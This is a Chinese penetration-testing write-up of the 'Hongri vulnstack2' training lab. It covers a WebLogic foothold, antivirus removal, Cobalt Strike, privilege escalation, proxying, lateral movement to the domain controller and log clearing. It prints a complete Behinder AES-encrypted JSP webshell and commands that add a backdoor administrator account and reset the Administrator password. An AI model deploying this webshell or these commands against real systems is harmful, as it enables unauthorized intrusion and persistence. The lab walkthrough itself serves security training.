【红日靶场】vulnstack2-完整渗透过程

news2025/1/3 19:40:45

文章目录

  • 一、网络拓扑
  • 二、描述
  • 配置环境
  • 渗透开始
    • 信息收集
    • 开始攻击
    • 干掉杀软
    • cs上线
      • 权限提升
    • 内网探测
    • 横向移动
    • 再次横向
    • rdp连接
    • 痕迹清除
  • 总结：

一、网络拓扑

示例：pandas 是基于NumPy 的一种工具，该工具是为了解决数据分析任务而创建的。
网络配置：
在这里插入图片描述

二、描述

红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX

  1. Bypass UAC
  2. Windows系统NTLM获取（理论知识：Windows认证）
  3. Access Token利用（MSSQL利用）
  4. WMI利用
  5. 网页代理，二层代理，特殊协议代理（DNS，ICMP）
  6. 域内信息收集
  7. 域漏洞利用：SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用
  8. 域凭证收集
  9. 后门技术（黄金票据/白银票据/Sid History/MOF）
  • 环境说明
    内网网段：10.10.10.1/24
    DMZ网段：192.168.111.1/24
    测试机地址：192.168.111.1（Windows），192.168.111.11（Linux）
    防火墙策略（策略设置过后，测试机只能访问192段地址，模拟公网访问）：
deny all tcp ports：10.10.10.1
allow all tcp ports：10.10.10.0/24
  • 配置信息
    DC
    IP：10.10.10.10OS：Windows 2012(64)
    应用：AD域
    WEB：
    IP1：10.10.10.80 IP2：192.168.111.80OS：Windows 2008(64)
    应用：Weblogic 10.3.6 MSSQL 2008
    PC：
    IP1：10.10.10.111 IP2：192.168.111.201 OS：Windows 7(32)
    攻击机：
    IP：192.168.111.1 OS：Windows 11(64)
    IP：192.168.111.128 OS：kaliLinux(64)

配置环境

web主机登录使用de1ay用户登录密码是1qaz@WSX
在这里插入图片描述
这里的网关地址给的1也就是主机的地址所以这里是没外网的如果要外网修改为2就行，这里做内网我就不改了

在这里插入图片描述
开启weblogic：C:\Oracle\Middleware\user_projects\domains\base_domain
使用管理员才能进去administrator/1qaz@WSX
在这里插入图片描述
再次输入账户和密码启动：
在这里插入图片描述
在这里插入图片描述
内网网卡是防火墙禁用10网段外网无法访问10段：
在这里插入图片描述

渗透开始

信息收集

目标：192.168.111.80是作为web的边界的攻击目标
主要服务：web、sql server和rdp和weblogic还有smb
在这里插入图片描述
存在多个漏洞：
在这里插入图片描述

开始攻击

直接开打：
在这里插入图片描述
执行命令：tasklist /svc
在这里插入图片描述
存在杀软：360
在这里插入图片描述
尝试上传shell是否会杀：正常先做免杀测试
先获取一下路径：
在这里插入图片描述
在这里插入图片描述
好像被杀了：换了个工具继续上传
在这里插入图片描述
成功了上传冰蝎马：
在这里插入图片描述

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

/该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond/

在这里插入图片描述
成功拿到shell：
在这里插入图片描述
寻找一下位置：
在这里插入图片描述
注入内存马稳定shell：
在这里插入图片描述

信息收集：存在多张网卡
在这里插入图片描述
确定是否存在域环境：
在这里插入图片描述
上面检测出360得想个办法给他干掉

干掉杀软

一、 3389上去直接关闭，需要创建管理员用户
二、 提权到system关闭
三、 对c2做免杀
创建用户：

net user julien 1qaz@WSX /add
net localgroup Administrators julien /add

在这里插入图片描述
连接是报错：
在这里插入图片描述
使用administrator用户登录因为不知道密码直接改密码：

net user Administrator 1qaz@WSX

在这里插入图片描述
登录
在这里插入图片描述
直接卸载

在这里插入图片描述
在这里插入图片描述

关闭防火墙然后就可以为所欲为了！！

cs上线

上线cs马:
生成马上传运行
在这里插入图片描述

在这里插入图片描述
抓取明文密码：
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
mssql也是弱密码还有域内的用户名密码

权限提升

使用ms14-058提权
在这里插入图片描述
拿到system权限：
在这里插入图片描述

内网探测

cs探测不到
在这里插入图片描述
使用fscan试试：
看到10.10.10.10
在这里插入图片描述
上线msf：
在这里插入图片描述
上传运行：
在这里插入图片描述

做socks 4：
在这里插入图片描述
kali连接socks
在这里插入图片描述
在这里插入图片描述

探测到192.168.111.201：
在这里插入图片描述
cs的arp探测：
在这里插入图片描述
192.168.111.2和128是我的主机和kali省略：smb上线尝试横向

横向移动

使用smb beacon上线：
在这里插入图片描述
上线成功：
在这里插入图片描述
查看有无杀软：

在这里插入图片描述
还有360：
在这里插入图片描述
有开3389：抓取密码登录rdp
在这里插入图片描述
查看一下administrator的用户：
在这里插入图片描述
在这里插入图片描述
尝试administrator和mssql登录3389：（失败）

在这里插入图片描述
直接探测其他主机：
在这里插入图片描述
前面探测到10.10.10.10，这里直接横向尝试：
在这里插入图片描述
再次横向移动：
在这里插入图片描述

再次横向

拿到权限：
在这里插入图片描述

rdp连接

修改Administrator登录3389：
在这里插入图片描述

在这里插入图片描述
笑死

创建用户继续：
在这里插入图片描述
在这里插入图片描述
注意这样会有弹窗：
这里是我已经登录了
在这里插入图片描述
费劲终于拿到了，去干掉杀软
在这里插入图片描述
在这里插入图片描述
关闭防火墙：
在这里插入图片描述
再去拿10主机：
也开了3389
在这里插入图片描述
这里因为10主机在内网，主机不能直接连需要通过socks：
先看有无杀软：
在这里插入图片描述
没有：
在这里插入图片描述

这里用命令关闭防火墙：
在这里插入图片描述

因为我们主机不能直接访问10.10.10.10（其实是可以的但是假装不可以）做一下socks5：
在这里插入图片描述

shell工具连接使用代理：
在这里插入图片描述

然后抓一下账户和密码：
在这里插入图片描述
怎么都是空的没有密码：
直接创建用户并加入组：
net user julien 1qaz@WSX /add
net localgroup administrators julien /add

在这里插入图片描述
直接shell工具连接：
在这里插入图片描述
代理用上面的：
在这里插入图片描述
这里代理好像失败了：
在这里插入图片描述
那就直接用kali的rdp

proxychains rdesktop -g 1440x900 -r disk:LinuxDisk=/root/Downloads -u julien -p “1qaz@WSX” 10.10.10.10:3389

kali连接失败：

在这里插入图片描述
尝试去cs上面找找问题：
查看端口：
在这里插入图片描述
nmap探测一下：
在这里插入图片描述
感觉没问题再次尝试连接：
直接用已经拿到的主机进行连接：这里用上面的windows7连接的10域控成功拿到：
在这里插入图片描述
成功通过。

痕迹清除

删除多个日志特别是weblogic的日志别忘，用户等创建可以使用隐藏方式创建，创建影子账号后面会用到这里就不展示了，痕迹清除就是原路返回，有很多工具可以用大家自己找吧这里就不放了！

总结：

可以通过多种方式进行渗透测试这里只是我自己喜欢的方式，内网还能抓取hash等利用，在后面的红日靶场系列中会使用。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1048873.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Library ‘iconv2.4.0‘ not found 问题及解决方法

Library ‘iconv2.4.0‘ not found 问题及解决方法

今天升级了一下Mac mini 和Xcode&#xff0c;运行项目就报Library iconv2.4.0 not found的错误 mac mini 升级&#xff1a;13.0 --> 13.6 xcode升级到&#xff1a;15.0(15A240d) 可以肯定 项目在旧版本下&#xff0c;是能通过编译 并且能运行的。 废话不多说&#xff0c…
阅读更多...
网络安全——自学(黑客)方法

网络安全——自学(黑客)方法

如果你想自学网络安全&#xff0c;首先你必须了解什么是网络安全&#xff01;&#xff0c;什么是黑客&#xff01;&#xff01; 1.无论网络、Web、移动、桌面、云等哪个领域&#xff0c;都有攻与防两面性&#xff0c;例如 Web 安全技术&#xff0c;既有 Web 渗透2.也有 Web 防…
阅读更多...
再生之术：遗忘 Root 密码的 CentOS8 Stream 解决方案

再生之术：遗忘 Root 密码的 CentOS8 Stream 解决方案

文章目录 大魔头 RootGRUB 引导界面BootLoaderGRUB主要功能选择启动的操作系统编辑内核启动参数 进入GRUB 引导界面编辑内核启动参数单用户模式 进入内核编辑界面rd.break进入单用户模式 大魔头 Root 哈哈&#xff0c;你好&#xff01;今天&#xff0c;让我们来聊聊 Linux 系统…
阅读更多...
提高效率！掌握项目管理工具中任务优先级的使用技巧

提高效率！掌握项目管理工具中任务优先级的使用技巧

在项目管理中&#xff0c;我们经常会遇到一些具有强制依赖关系的任务。这些任务之间的关系是绝对的&#xff0c;并且毫无疑问必须首先完成什么。例如&#xff0c;您必须先设计一个产品&#xff0c;然后才能构建它&#xff0c;并且必须先构建它&#xff0c;然后才能绘制它。然而…
阅读更多...
嵌入式芯片-NE555

嵌入式芯片-NE555

目录 1、比较器&#xff08;运放&#xff09; 2、相反门&#xff08;非门&#xff09; 3、或非门 4、双稳态触发器 5、NE555功能框图 1、比较器&#xff08;运放&#xff09; 2、相反门&#xff08;非门&#xff09; 3、或非门 4、双稳态触发器 5、NE555功能框图
阅读更多...
FastestDet---模型训练

FastestDet---模型训练

代码：https://github.com/dog-qiuqiu/FastestDet 一、构造数据集 数据集格式YOLO相同，每张图片对应一个txt标签文件。标签格式:“category cx cy wh”，category为类别id，cx, cy为归一化标签框中心点的坐标，w, h为归一化标签框的宽度和高度， .txt标签文件内容示例如下: 0…
阅读更多...
基于SpringBoot的医院管理系统

基于SpringBoot的医院管理系统

目录 前言 一、技术栈 二、系统功能介绍 病床信息管理 药房信息管理 个人中心管理 药房信息 病床类别 科室信息管理 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 随着信息互联网信息的飞速发展&#xff0c;医院也在创建着属于自己的管理系统。本文介…
阅读更多...
如何像人类一样写HTML之代码编辑器的选择与基础框架

如何像人类一样写HTML之代码编辑器的选择与基础框架

文章目录 前言一、 HTML是什么&#xff1f;二、 HTML的发展历史三、 HTML的优点a. 简单易学b. 跨浏览器兼容性c. 良好的可读性 四、 超文本是什么&#xff1f;五、 代码编辑器的选择&#xff1a;VSCodea. 安装VSCodeb. 创建HTML文件方式1方式2 c. 编写HTML代码安装Live Server插…
阅读更多...
【算法基础】数组和链表，动态数组，循环数组，链表的变种

【算法基础】数组和链表，动态数组，循环数组，链表的变种

目录 1 数组&#xff08;Array&#xff09; 1.1 定义和特点 1.2 基本操作 1.3 数组的时间复杂度 1.4 应用场景 2 链表&#xff08;Linked List&#xff09; 2.1 定义和特点&#xff1a; 2.1.1 单向链表&#xff08;Singly Linked List&#xff09; 2.1.2 双向链表&…
阅读更多...
Axure RP9 引入eCharts图表

Axure RP9 引入eCharts图表

一、 ECharts 地址&#xff1a;https://echarts.apache.org/zh/index.html 概述&#xff1a;一个基于 JavaScript 的开源可视化图表库 提供了很多图标样式案例 二、 Axure引入eCharts图表步骤 步骤一&#xff1a;打开Axure&#xff0c;添加矩形元素&#xff0c;调整矩形所…
阅读更多...
Mybatis 二级缓存

Mybatis 二级缓存

之前我们介绍过映射器与XML配置职责分离&#xff0c;本篇我们在此基础上介绍Mybatis中二级缓存的使用。 如果您对映射器与XML配置职责分离不太了解&#xff0c;建议您先进行了解后再阅读本篇&#xff0c;可以参考&#xff1a; Mybatis 映射器与XML配置职责分离https://blog.c…
阅读更多...
轻松解决软件游戏msvcr120.dll丢失问题，msvcr120.dll丢失的修复步骤分享

轻松解决软件游戏msvcr120.dll丢失问题，msvcr120.dll丢失的修复步骤分享

msvcr120.dll 丢失可能会让许多软件和游戏无法正常运行&#xff0c;给用户带来无尽的困扰。当你尝试打开某个程序时&#xff0c;可能会弹出一个提示框&#xff0c;告诉你缺少 msvcr120.dll 文件。当你尝试运行某个游戏时&#xff0c;可能会遇到无法启动或运行一段时间后崩溃的问…
阅读更多...
java项目中数据权限实现思路

java项目中数据权限实现思路

一、需求&#xff1a; 同样的页面&#xff0c;不同的账号登录进去&#xff0c;看到的数据不一样。 二、权限管理的方式 RBAC模型 角色与数据权限的关系&#xff1a; 比如管理员角色&#xff0c;他的数据权限是全部&#xff0c;那么拥有该角色的用户&#xff0c;所能看到的数…
阅读更多...
基于YOLOv8模型的蜜蜂目标检测系统（PyTorch+Pyside6+YOLOv8模型）

基于YOLOv8模型的蜜蜂目标检测系统（PyTorch+Pyside6+YOLOv8模型）

摘要&#xff1a;基于YOLOv8模型的蜜蜂目标检测系统可用于日常生活中检测与定位蜜蜂目标&#xff0c;利用深度学习算法可实现图片、视频、摄像头等方式的目标检测&#xff0c;另外本系统还支持图片、视频等格式的结果可视化与结果导出。本系统采用YOLOv8目标检测算法训练数据集…
阅读更多...
低代码软件：业务经理的利器！快速掌握使用技巧

低代码软件：业务经理的利器！快速掌握使用技巧

低代码的出现&#xff0c;让应用开发不再是开发人员的专属工作。要知道在企业中&#xff0c;业务开发压力加上开发人手不够导致开发团队会积压大量请求。不仅拖慢了业务进程&#xff0c;也难免造成开发软对和业务团队之间的矛盾。 而成熟的业务经理在行业中深耕多年&#xff0…
阅读更多...
基于PHP+MySQL的家教平台

基于PHP+MySQL的家教平台

摘要 设计和实现基于PHP的家教平台是一个复杂而令人兴奋的任务。这个项目旨在为学生、家长和教师提供一个便捷的在线学习和教授平台。本文摘要将概述这个项目的关键方面&#xff0c;包括用户管理、课程管理、支付处理、评价系统、通知系统和安全性。首先&#xff0c;我们将建立…
阅读更多...
Golang的测试、基准测试和持续集成

Golang的测试、基准测试和持续集成

在Golang中&#xff0c;内置的垃圾回收器处理内存管理&#xff0c;自动执行内存分配和释放。 单元测试是软件开发中至关重要的一个方面&#xff0c;它确保了代码的正确性并在开发过程中尽早发现错误。在Go中&#xff0c;编写有效的单元测试非常简单&#xff0c;并为开发人员提…
阅读更多...
Mysql8安装+重装的数据备份方法【提供Mysql8.0.27版本的压缩包】

Mysql8安装+重装的数据备份方法【提供Mysql8.0.27版本的压缩包】

文章目录 Mysql8压缩安装包下载安装流程压缩包解压配置环境变量 初始化数据库连接数据库修改密码Mysql重装/重装系统 的数据库备份方法数据备份数据还原 Mysql8压缩安装包下载 压缩包下载路径 安装流程 压缩包解压 首先将压缩包解压&#xff0c;下图是解压之后的文件目录&a…
阅读更多...
Leetcode 71. 简化路径

Leetcode 71. 简化路径

文章目录 题目代码&#xff08;9.28 首刷调试看解析&#xff09; 题目 Leetcode 71. 简化路径 代码&#xff08;9.28 首刷调试看解析&#xff09; class Solution { public:string simplifyPath(string path) {vector<string> parts;int start 0;for(int i 1; i <…
阅读更多...
【C++11保姆级教程】空指针(nullptr)，long long类型，char16_t和char32_t类型

【C++11保姆级教程】空指针(nullptr)，long long类型，char16_t和char32_t类型

文章目录 前言一、空指针(nullptr)1.1概念解释1.2形象比喻1.3示例代码1.4空指针nullptr的优势 二、long long类型2.1概念解释2.2形象比喻2.3示例代码2.4优势2.5劣势 三、char16_t和char32_t类型3.1概念解释3.2形象比喻3.3示例代码3.4优势3.5劣势 总结 前言 在C11标准中引入了许…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023